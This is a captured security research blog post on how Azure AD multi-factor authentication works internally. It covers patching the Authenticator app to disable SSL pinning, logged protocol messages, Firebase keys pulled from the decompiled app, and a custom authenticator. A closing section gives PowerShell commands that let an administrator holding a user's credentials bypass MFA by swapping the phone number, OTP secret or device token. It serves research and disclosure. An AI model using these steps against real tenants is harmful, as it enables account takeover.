o365blog.com
Open in
urlscan Pro
185.199.108.153
Public Scan
URL:
https://o365blog.com/post/mfa/
Submission: On February 11 via manual from US — Scanned from DE
Submission: On February 11 via manual from US — Scanned from DE
Form analysis
1 forms found in the DOMGET //google.com/search
<form class="widget-search__form" role="search" method="get" action="//google.com/search">
<label>
<span class="screen-reader-text">Search for:</span>
<input class="widget-search__field" type="search" placeholder="SEARCH..." value="" name="q">
</label>
<input class="widget-search__submit" type="submit" value="Search">
<input type="hidden" name="sitesearch" value="http://o365blog.com">
</form>
Text Content
OFFICE 365 BLOG EVERYTHING ABOUT MICROSOFT 365 SECURITY Menu * AAD & M365 KILL CHAIN * AAD INTERNALS * LINKS * POWERSHELL * TALKS * TOOLS DEEP-DIVE TO AZURE AD MFA: CREATING A CUSTOM AUTHENTICATOR APP August 06, 2020 (Last Modified: August 13, 2020) blog * * * What is MFA * Introduction * Setting up MFA * User’s MFA settings in Azure AD * Research process * Getting started * MFA app registration process * Step 1: (HTTP) ActiveteNew * Step 2: (FCM) validate * Step 3: (HTTP) phoneAppValidateDeviceTokenRequest * Step 4: (HTTP) phoneAppValidateDeviceTokenResponse * Step 5: (HTTP) ActivateNewResponse * Step 6: (HTTP) ConfirmActivation * Step 7: (FCM) auth * Step 8: (HTTP) phoneAppAuthenticationResultRequest * Step 9: (HTTP) phoneAppAuthenticationResultResponse * Step 10: (HTTP) ConfirmActivationResponse * Implementing AADInternals Authenticator * Abusing MFA * Bypass MFA with identity federation * “Bypass” MFA by editing users’ MFA settings * Alternative phone number * OTP secret * Authenticator app * Summary * References Multi-factor Authentication (MFA) is nowadays a recommended method for providing extra protection for users. In most cases, it protects users from phishing attacks as the attackers can’t log in even they have user’s credentials. In this blog, I’ll report my findings on how the Azure AD MFA works under-the-hood, and how I built a custom authenticator app for Android. I also introduce some methods how the rogue administrator can bypass MFA when using user’s compromised credentials. WHAT IS MFA INTRODUCTION For short, multi-factor authentication (MFA) is an authentication process where the user must use more than one form of an identification. First method is typically a user name and password combination, and the second one can be for example an SMS one-time-password (OTP) or authentication application. Azure AD MFA supports the following forms of verification: * Microsoft Authenticator app * OATH Hardware token * SMS OTP * Voice call Note! The voice call option is available only in paid tenants. So no testing in trial tenants :disappointed: The authentication process for SMS OTP is simple: just enter the code from the received SMS and you’re good to go. Voice call is even simpler: answer the call and press the pound key # when asked to do so. Using the OATH hardware token means that when asked, you need to type in the code shown in the authentication device or app (such as Microsoft Authenticator). Another way to use the authenticator app is to use notifications. This means that when MFA is used, a notification pops up in the device and asks you to either accept or deny the authentication. SETTING UP MFA Administrators can enforce MFA per-user basis (link to MFA portal) or by Conditional Access policies (requires Azure AD Premium P1/P2). Users can set up their MFA methods at https://aka.ms/mfasetup and (if the combined security information experience is enabled by the addministrator) at https://mysignins.microsoft.com. The traditional MFA setup: The MFA app registration starts when user clicks the Set up Authenticator app button. User can now either use the QP code or type the code and url manually to app. User can also choose to use only OTP and click the Configure app without notification. Then the notifications are not enable and user must always type the OTP. USER’S MFA SETTINGS IN AZURE AD Users’ MFA settings are (naturally) stored in Azure AD. With Azure Graph API, users’ MFA settings can be read in the Microsoft way or the easy AADInternals way: # Get access token and save to cache Get-AADIntAccessTokenForAADGraph -SaveToCache # Get user MFA settings Get-AADIntUserMFA -UserPrincipalName "user@company.com" Output: UserPrincipalName : user@company.com State : Enforced PhoneNumber : +358 123456789 AlternativePhoneNumber : +358 987654321 Email : user@gmail.com DefaultMethod : PhoneAppNotification Pin : OldPin : StartTime : 17.6.2019 15.48.33 RelyingParty : * AppDetails : {@{AuthenticationType=Notification, ... We can also dump AND edit the user’s MFA app settings using the internal undocumented version of AADGraph API: # Get user's MFA app settings Get-AADIntUserMFAApps -UserPrincipalName "user@company.com" Output: AuthenticationType : Notification, OTP DeviceName : SM-1234 DeviceTag : SoftwareTokenActivated DeviceToken : APA91bHrPpPildOFgQpVKUYtUhwIr4OC2_80OAqhC_jdU1a3VR3AK3sIH73BaAV3rZ2t6rPr6HZ5UoAAvo53bFfGNNvb9p2AG1sZvziS Id : 454b8d53-d97e-4ead-a69c-724166394334 NotificationType : GCM OathTokenTimeDrift : 0 OathSecretKey : PhoneAppVersion : 6.2001.0140 TimeInterval : AuthenticationType : OTP DeviceName : NO_DEVICE DeviceTag : SoftwareTokenActivated DeviceToken : NO_DEVICE_TOKEN Id : aba89d77-0a69-43fa-9e5d-6f41c7b9bb16 NotificationType : Invalid OathTokenTimeDrift : 0 OathSecretKey : PhoneAppVersion : NO_PHONE_APP_VERSION TimeInterval : RESEARCH PROCESS During the research, I used the following tools: Tool Description Android Studio SDK for developing Android apps. Fiddler 4 A proxy for inspecting http/https traffic. objection A runtime mobile exploration toolkit. JADX Dex to Java decompiler The ultimate goal was to understand how Azure MFA works and whether there was any way to compromise the process or the authenticator app. GETTING STARTED The first challenge was to intercept the traffic between my Android device and the internet. In modern Android devices this is virtually impossible without rooting the device. This is because it is not anymore possible to make your device to trust to Fiddler certificate(s). Luckily, thanks to the great blot post by Cody Wass, I found a tool called Frida. However, using Frida requires that the device would be rooted - which I wouldn’t want to do. In his blog, Cody was using objection which can be used to insert the Frida gadget to an existing app! So, next I installed the objection (wasn’t that easy) and downloaded the authenticator app from Apkpure. Next step was to plug my Android device to my laptop with USB cable (and allow the debugging over USB). Now I could “patch” the authenticator app: objection patchapk --source authenticator.apk During the patching, a patched apk (authenticator.objection.apk) was created to the same directory than the original one. Then I installed the app: adb install authenticator.objection.apk After the installation was completed, I started the app in my Android device. The app was freezed when started (blank white screen). To continue, I needed to launch the objection to connect to app: objection explore -q The output showed that all went well and the app started normally: Using USB device 'SM 1234' Agent injected and responds ok! com.azure.authenticator on (samsung: 8.1.0) [usb] # Next, I disabled the sslpinning: android sslpinning disable The output showed that sslpinning was disabled and I was able to configure Fiddler as proxy to intercept the https traffic! (agent) Custom TrustManager ready, overriding SSLContext.init() (agent) Found okhttp3.CertificatePinner, overriding CertificatePinner.check() (agent) Found com.android.org.conscrypt.TrustManagerImpl, overriding TrustManagerImpl.verifyChain() (agent) Found com.android.org.conscrypt.TrustManagerImpl, overriding TrustManagerImpl.checkTrustedRecursive() (agent) Registering job q3mcdbbh9z, Type: android-sslpinning-disable After disabling ssl pinning, I was able to see the traffic between the authentication app and Azure AD during the registration! MFA APP REGISTRATION PROCESS The process of registering an Authenticator App has 10 steps. I was able to capture them in Fiddler, except for the FCM messages in steps 2 and 7 (I’ll come back to this later). STEP 1: (HTTP) ACTIVETENEW After reading the QR code (or the address and code typed in manually), the app posts the following activation request to the given address: <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns4="http://www.phonefactor.com/PfPaWs"> <soap:Header/> <soap:Body> <ns4:ActivateNew> <ns4:activationParams> <ns4:ActivationCode>309209603</ns4:ActivationCode> <ns4:DeviceToken>APA91bHrPpPildOFgQpVKUYtUhwIr4OC2_80OAqhC_jdU1a3VR3AK3sIH73BaAV3rZ2t6rPr6HZ5UoAAvo53bFfGNNvb9p2AG1sZvziS-7VTyBsi4InToESGqudEtX4WjQUi-kapZgK7</ns4:DeviceToken> <ns4:DeviceName>SM-1234</ns4:DeviceName> <ns4:OathCounter>53235023</ns4:OathCounter> <ns4:Version>6.2001.0140</ns4:Version> </ns4:activationParams> </ns4:ActivateNew> </soap:Body> </soap:Envelope> Setting Description ActivationCode The activation code included in the QP DeviceToken The device token of authentication app. Identifies the individual app. DeviceName The name of the device OathCounter Current Unix time in seconds divided by 30 seconds Version Version of the authentication app. STEP 2: (FCM) VALIDATE Using the given DeviceToken as the destination, Azure AD sends the following Firebase Cloud Messaging (FCM) message to the app: alert="Multi-Factor Authentication validation" guid="f0de08e3-d159-b7ff-a308-c5d11ee20456" notification_type="gcm" type="validate" url="mobileappcommunicator.auth.microsoft.com/mac/MobileAppCommunicator.svc/?ignored=ignored" Value Description url The url where the response should be send guid Guid of the validation request STEP 3: (HTTP) PHONEAPPVALIDATEDEVICETOKENREQUEST The app posts the following validation response to the given url: <pfpMessage version="1.6"> <header> <source> <component type="pfsvc" role="master"> <host ip="" hostname="" serverId=""/> </component> </source> </header> <request request-id="f0de08e3-d159-b7ff-a308-c5d11ee20456" async="0" response-url="" language="en"> <phoneAppValidateDeviceTokenRequest> <phoneAppContext> <guid>f0de08e3-d159-b7ff-a308-c5d11ee20456</guid> <oathCode/> <deviceToken>APA91bHrPpPildOFgQpVKUYtUhwIr4OC2_80OAqhC_jdU1a3VR3AK3sIH73BaAV3rZ2t6rPr6HZ5UoAAvo53bFfGNNvb9p2AG1sZvziS-7VTyBsi4InToESGqudEtX4WjQUi-kapZgK7</deviceToken> <version>6.2001.0140</version> <osVersion>8.1.0</osVersion> <needDosPreventer>no</needDosPreventer> </phoneAppContext> <validationResult>yes</validationResult> <accounts/> </phoneAppValidateDeviceTokenRequest> </request> </pfpMessage> Setting Description guid Guid of the validation request. deviceToken The device token of authentication app. needDosPreventer If set to yes, a new dos preventer “code” is received in the response validationResult Whether the validation was successful or not. STEP 4: (HTTP) PHONEAPPVALIDATEDEVICETOKENRESPONSE Azure AD responds to the validation response (Step 3) <?xml version="1.0" encoding="utf-8"?> <pfpMessage xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <header> <source> <component type="pfsvc"> <host ip="0.0.0.0" hostname="mobileappcommunicator.auth.microsoft.com" serverId=""/> </component> </source> </header> <response request-id="21d2952b-8627-4257-97fa-af7d238de0bd"> <status disposition="success"> <error-id>0</error-id> <message lang=""/> </status> <phoneAppValidateDeviceTokenResponse> <groupKey>561b28339a38b871bf4254b432f6ef6a</groupKey> <dosPreventer xsi:nil="true"/> <accountName>Company Ltd</accountName> <username/> </phoneAppValidateDeviceTokenResponse> </response> </pfpMessage> Setting Description groupKey The group key dosPreventer DOS preventer token accountName The brand name of the tenant username User name of the user. Always empty. STEP 5: (HTTP) ACTIVATENEWRESPONSE Azure AD responds to the activation request (Step 1) <?xml version="1.0" encoding="utf-8"?> <Envelope xmlns="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <Body> <ActivateNewResponse xmlns="http://www.phonefactor.com/PfPaWs"> <ActivateNewResult>true</ActivateNewResult> <activationInfo> <Username>user@company.com</Username> <TenantId>f76b0398-9cef-4c48-a977-e523722c94fd</TenantId> <AzureObjectId>8197b944-ee60-444a-a854-3eaebc779dd7</AzureObjectId> <ConfirmationCode>7403715184437827</ConfirmationCode> <OathTokenSecretKey>ncez5hrfd72w52ry5mfuackuzan3xtk4</OathTokenSecretKey> <OathTokenEnabled>true</OathTokenEnabled> </activationInfo> <error> <Code>0</Code> <Description/> </error> </ActivateNewResponse> </Body> </Envelope> Setting Description Username The name of the user TenantId The tenant id of the user’s tenant AzureObjectId The user’s Azure AD object id ConfirmationCode The code used to confirm the validation OathTokenSecretKey Base32 encoded secret used to create OTPs OathTokenEnabled Whether the Oath token is enabled or not STEP 6: (HTTP) CONFIRMACTIVATION Authentication app posts an activation confirmation request to initiate authentication process: <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns4="http://www.phonefactor.com/PfPaWs"> <soap:Header/> <soap:Body> <ns4:ConfirmActivation> <ns4:confirmationCode>7403715184437827</ns4:confirmationCode> </ns4:ConfirmActivation> </soap:Body> </soap:Envelope> STEP 7: (FCM) AUTH Azure AD sends the following authentication request as FCM message to the app: expiration=1593336244 fraudAllowed=false fraudBlock=true groupKey=561b28339a38b871bf4254b432f6ef6a guid=9c0bb4ae-df54-4f94-8e4c-68e269a6a227 MessageCategory=standard MessageTitle=You have received a sign in verification request. mode=standard oathCounter=2030643810985085027 oathTokenEnabled=true pinChangeRequired=false pinRetries=0 type=auth url=mobileappcommunicator.auth.microsoft.com/mac/MobileAppCommunicator.svc/?querydc=chi&ignored=ignored userCanChangePin=false userObjectId=3554987d86aa287b8a2171392ddc6c12b1c34489cdb947f2b2c2fb027786dae8 Value Description url The url where the response should be sent guid The guid of the auth request userObjectId SHA256 hash of user’s Azure AD object Id Note! The userObjectId can be calculated as follows. The textual form (lower case!) of user’s ObjectId from the Azure AD (2f8f0871-86b1-4a81-9951-967c2a37be24) is converted to byte array and a SHA256 hash is calculated: # Calculate SHA256 from user's Azure AD ObjectId [System.Security.Cryptography.HashAlgorithm]::Create('sha256').ComputeHash([text.encoding]::utf8.GetBytes("2f8f0871-86b1-4a81-9951-967c2a37be24")) | Format-Hex Path: 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 00000000 35 54 98 7D 86 AA 28 7B 8A 21 71 39 2D DC 6C 12 5T}ª({!q9-Ül. 00000010 B1 C3 44 89 CD B9 47 F2 B2 C2 FB 02 77 86 DA E8 ±ÃD͹Gò²Âû.wÚè STEP 8: (HTTP) PHONEAPPAUTHENTICATIONRESULTREQUEST Authentication app responds by posting the following authentication result message to the given url: <pfpMessage version="1.6"> <header> <source> <component type="pfsvc" role="master"> <host ip="" hostname="" serverId=""/> </component> </source> </header> <request request-id="9c0bb4ae-df54-4f94-8e4c-68e269a6a227" async="0" response-url="" language="en"> <phoneAppAuthenticationResultRequest> <phoneAppContext> <guid>9c0bb4ae-df54-4f94-8e4c-68e269a6a227</guid> <oathCode/> <needDosPreventer>no</needDosPreventer> <deviceToken>APA91bHrPpPildOFgQpVKUYtUhwIr4OC2_80OAqhC_jdU1a3VR3AK3sIH73BaAV3rZ2t6rPr6HZ5UoAAvo53bFfGNNvb9p2AG1sZvziS-7VTyBsi4InToESGqudEtX4WjQUi-kapZgK7</deviceToken> <version>6.2001.0140</version> <osVersion>8.1.0</osVersion> </phoneAppContext> <authenticationResult>1</authenticationResult> <newDeviceToken notificationType="gcm">APA91bHrPpPildOFgQpVKUYtUhwIr4OC2_80OAqhC_jdU1a3VR3AK3sIH73BaAV3rZ2t6rPr6HZ5UoAAvo53bFfGNNvb9p2AG1sZvziS-7VTyBsi4InToESGqudEtX4WjQUi-kapZgK7</newDeviceToken> <oathCounter>53235023</oathCounter> </phoneAppAuthenticationResultRequest> </request> </pfpMessage> Setting Description authenticationResult Authentication result, 1 if successful deviceToken The device token of the device newDeviceToken The new device token if it changed. STEP 9: (HTTP) PHONEAPPAUTHENTICATIONRESULTRESPONSE Azure AD responds to the authentication result post (8) <?xml version="1.0" encoding="utf-8"?> <pfpMessage xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <header> <source> <component type="pfsvc"> <host ip="0.0.0.0" hostname="mobileappcommunicator.auth.microsoft.com" serverId=""/> </component> </source> </header> <response request-id="a94bf469-1774-44d7-9bcf-486113124889"> <status disposition="success"> <error-id>0</error-id> <message lang=""/> </status> <phoneAppAuthenticationResultResponse> <authenticationResultResult>1</authenticationResultResult> </phoneAppAuthenticationResultResponse> </response> </pfpMessage> STEP 10: (HTTP) CONFIRMACTIVATIONRESPONSE Azure AD responds to activation confirmation request (6) <?xml version="1.0" encoding="utf-8"?> <Envelope xmlns="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <Body> <ConfirmActivationResponse xmlns="http://www.phonefactor.com/PfPaWs"> <ConfirmActivationResult>true</ConfirmActivationResult> <error> <Code>0</Code> <Description/> </error> </ConfirmActivationResponse> </Body> </Envelope> IMPLEMENTING AADINTERNALS AUTHENTICATOR Research Note: At this point, I changed test user’s MFA app DeviceToken to my MFA app token to see what happens. During the MFA challenge, Azure AD did actually sent the authentication notification to my MFA app but it gave me the following error: Unable to process notifications from your work or school account. If this account has been removed from the app, please also remove it from the MFA registration page. Otherwise, remove the account and re-add it. What we can learn from this is that the DeviceToken acts like an address, where the MFA authenticatio notifications are sent. This finding encouraged me to dig deeper so next step was to implement my own authenticator! I started by creating a Firebase project and an app by following the steps here. I was able send notification from the Firebase console to my app. A crucial part of the messaging framework is a configuration file google-services.json, which contains the following information: { "project_info": { "project_number": "336805340521", "firebase_url": "https://aadinternals-authenticator.firebaseio.com", "project_id": "aadinternals-authenticator", "storage_bucket": "aadinternals-authenticator.appspot.com" }, "client": [ { "client_info": { "mobilesdk_app_id": "1:336805340521:android:7ae9a4cc0192de4cab49f8", "android_client_info": { "package_name": "com.gerenios.aadinternals.authenticator" } }, "oauth_client": [ { "client_id": "336805340521-rl597v0239le05mfgu5qf3uspouq6d5e.apps.googleusercontent.com", "client_type": 3 } ], "api_key": [ { "current_key": "AIzaSyA4M8jlXIh9qsIQtkYEUpphQJKFRGcK2SI" } ], "services": { "appinvite_service": { "other_platform_oauth_client": [ { "client_id": "336805340521-rl597v0239le05mfgu5qf3uspouq6d5e.apps.googleusercontent.com", "client_type": 3 } ] } } } ], "configuration_version": "1" } Using the configuration the app can receive a DeviceToken: String token = FirebaseInstanceId.getInstance().getToken(); I replaced the test user’s DeviceToken with one from the app, but the app did not receive any notifications. After digging around, I found out that the app configuration should contain the correct values, i.e. those must match the values from the original Microsoft Authenticator. Note! Also the package name must match the original (com.azure.authenticator). This had two implications: * The custom authenticator can not be installed on device having Azure Authenticator already installed (app exists with different signer) * The custom authenticator can not be uploaded to Google Store (because the package already exists) I assumed, that the configuration information must be stored to the original authenticator app. So, the next step was to start JADX and open the authenticator APK package (decompiling may take some time). I browsed and searched the decompiled classes but couldn’t find any settings. But then I checked the resources and found what I needed from Resources\resources.arsc\res\values\strings.xml! <resources> ... <string name="default_web_client_id">91905377563-dijqtpc29004iduck3d1623cgk8vnneg.apps.googleusercontent.com</string> ... <string name="firebase_database_url">https://microsoftauthenticator.firebaseio.com</string> ... <string name="gcm_defaultSenderId">91905377563</string> ... <string name="google_api_key">AIzaSyDQiqY4cX3UacZZhMN3CIu1gUE2XywMQug</string> <string name="google_app_id">1:91905377563:android:b45aadcaa9572c8d</string> ... <string name="google_storage_bucket">microsoftauthenticator.appspot.com</string> ... <string name="projcet_id">microsoftauthenticator</string> </resources> The final version of google-services.json I used was the following: { "project_info": { "project_number": "91905377563", "firebase_url": "https://microsoftauthenticator.firebaseio.com", "project_id": "microsoftauthenticator", "storage_bucket": "microsoftauthenticator.appspot.com" }, "client": [ { "client_info": { "mobilesdk_app_id": "1:91905377563:android:b45aadcaa9572c8d", "android_client_info": { "package_name": "com.azure.authenticator" } }, "oauth_client": [ { "client_id": "91905377563-dijqtpc29004iduck3d1623cgk8vnneg.apps.googleusercontent.com", "client_type": 3 } ], "api_key": [ { "current_key": "AIzaSyDQiqY4cX3UacZZhMN3CIu1gUE2XywMQug" } ], "services": { "appinvite_service": { "other_platform_oauth_client": [ { "client_id": "91905377563-dijqtpc29004iduck3d1623cgk8vnneg.apps.googleusercontent.com", "client_type": 3 } ] } } } ], "configuration_version": "1" } While registeging the app (getting the token), I also needed to know the sender id of Azure AD. These were located in com.azure.authenticator.com.Util class: private static final String MSA_SENDER_ID_INT = "642523128631"; private static final String MSA_SENDER_ID_PROD = "581753172647"; ... private static final String DEV_FCM_SENDER_ID = "1058539755033"; private static final String DEV_PAD_URL = "https://pf-dev-cr-01.thepftest.com:4433/pad"; private static final String PROD_FCM_SENDER_ID = "275572744697"; private static final String PROD_PAD_URL = "https://pad.phonefactor.net/pad"; private static final String STAGE_FCM_SENDER_ID = "1058539755033"; private static final String STAGE_PAD_URL = "https://pad-stage-01.thepftest.com/pad"; I changed the token initialisation to allow messages from FCM and MSA production environments: // Init the the token, accept MS production FCM and MSA senders String token = FirebaseInstanceId.getInstance().getToken("275572744697,581753172647", "FCM"); And finally it worked! I replaced test user’s DeviceToken with the one from the app and notification was received (see step 7 above)! All I needed to do is to send back the response (see step 8 above) with the authentication result set to 1. The full source code of the app is available at GitHub and the Android app can be installed from: :point_right: AADInternalsAuthenticator-0.4.0-release.apk :point_left: ABUSING MFA Now that we know that we can edit users’ MFA settings and that we have a custom MFA app, we can start to abuse MFA. BYPASS MFA WITH IDENTITY FEDERATION First, if the tenant is using identity federation and we have access to token signing certificate, we can bypass MFA by including a claim to SAML token that tells to Azure AD that MFA is already done. “BYPASS” MFA BY EDITING USERS’ MFA SETTINGS If that is not possible, we can change users’ MFA settings: * MFA method * Phone number(s) * Email address * App DeviceToken * App/device OathSecretKey ALTERNATIVE PHONE NUMBER For instance, Global Admin can set user’s alternative phone number: Set-AADIntUserMFA -UserPrincipalName "user@company.com" -AlternativePhoneNumber "+358 7576777879" Now, assuming that the admin has users credentials, he or she can choose to use alternative MFA method: Now the admin can choose to receive a call to alternative phone instead of using authenticator: OTP SECRET Admin can also set the OathSecretKey used by the authentication app or device. Note! There is no way to extract the original secret, so it can not be changed back! # Change user's MFA OTP secret Set-AADIntUserMFAApps -UserPrincipalName "user@company.com" -Id "454b8d53-d97e-4ead-a69c-724166394334" -OathSecretKey kwygi6e4fz7uggs5 And now we can generate one-time password to use with MFA: # Generate an OTP New-AADIntOTP -SecretKey kwygi6e4fz7uggs5 OTP Valid --- ----- 784 504 30s AUTHENTICATOR APP First, the admin needs to install the AADInternals Authenticator (AADInternalsAuthenticator-0.4.0-release.apk). After installation, the token can be copied to clipboard to be sent via email etc.: Finally, the admin can replace user’s authenticator DeviceToken with a token of admin’s own AADInternals Authenticator: # Change user's MFA device Set-AADIntUserMFAApps -UserPrincipalName "user@company.com" -Id "454b8d53-d97e-4ead-a69c-724166394334" -DeviceToken "APA91bGKdbnFsHnL8OTcgQY6i9kZiDUuBZ4OjcRHQQ_rJaLH_m05rsV4uX98jfZAtSmm7GSu1xXIlBKnyJmxIiLbYPZ4m7Lyu4URD0L9SGio78U6jgZQgmUlGmuFuHNJzA_olTxKphU_" Now all user’s MFA notifications are accepted automatically by the admin’s AADInternals Authenticator app. The app shows logins as notifications: SUMMARY During the research process we learned that: * Users’ MFA settings are stored to Azure AD * Global Admins can manipulate MFA settings using undocumented AAD Graph API (or AADInternals) * Each device and authentication app pair has a unique DeviceToken which is (re)generated every time the app is (re)installed * MFA notification is sent to device using the DeviceToken as an address * Using the messaging settings of original the Azure Authenticator, a custom authenticator can be built to receive MFA notifications * Admins can change the users’ MFA settings to “bypass” MFA Finally, don’t forget that all edits the admins are making to users’ settings are logged to audit log. REFERENCES * Microsoft: How it works: Azure Multi-Factor Authentication * Microsoft: Enable per-user Azure Multi-Factor Authentication to secure sign-in events * Microsoft: Tutorial: Secure user sign-in events with Azure Multi-Factor Authentication * Cody Wass: Four Ways to Bypass Android SSL Verification and Certificate Pinning * Azure Active Directory * Azure * security * MFA * * About Dr Nestori Syynimaa (@DrAzureAD) Dr Syynimaa works as Senior Principal Information Security Researcher at Secureworks CTU (Counter Threat Unit). Before moving to his current position, Dr Syynimaa worked as a CIO, consultant, trainer, and university lecturer for over 20 years. He is a regular speaker in scientific and professional conferences related to Microsoft 365 and Azure AD security. Dr Syynimaa is Microsoft Certified Expert (Microsoft 365), Microsoft Certified Azure Solutions Architect Expert, Microsoft Certified Trainer, Microsoft MVP (Enterprise Mobility, Identity and Access & Intune), and Microsoft Most Valuable Security Researcher (MVR). «Previous Unnoticed sidekick: Getting access to cloud as an on-prem admin Next» Journey to Azure AD PRT: Getting access with pass-the-token and pass-the-cert Please enable JavaScript to view the comments powered by Disqus. Search for: RECENT POSTS * Microsoft partners: The Good, The Bad, or The Ugly? * AADInternals admin and blue team tools * Spoofing Azure AD sign-ins logs by imitating AD FS Hybrid Health Agent * Exporting AD FS certificates revisited: Tactics, Techniques and Procedures * Deep-dive to Azure AD device join CATEGORIES * * Article * Blog SOCIAL Twitter LinkedIn nestori.syynimaa@gerenios.com TAGS aadconnect (2) aadinternals (9) active-directory (1) adfs (5) admin (3) administration (1) authentication (1) azure (18) azure-active-directory (25) azuread (4) blackhat (1) blue-team (1) bprt (2) browser (1) compromise (1) conferences (1) desktop-sso (1) device (1) dns (3) email (2) encryption (1) exchange (1) federation (2) forensics (1) gdpr (1) global-administrator (1) graph (1) groups (1) guest (2) hybrid-join (1) identity (2) inactive (1) insider (1) intune (1) join (1) logs (1) mailbox (1) mdm (1) mfa (6) office-365 (9) office365 (9) on-prem (2) onedrive (1) outsider (2) partner (2) password (1) persistence (1) phishing (2) planner (1) powershell (13) prt (4) pta (1) recon (2) reconnaissance (4) seamless-sso (1) security (29) sso (2) sync (1) synchronisation (1) t2 (1) talks (1) teams (3) user (1) virtual-machine (1)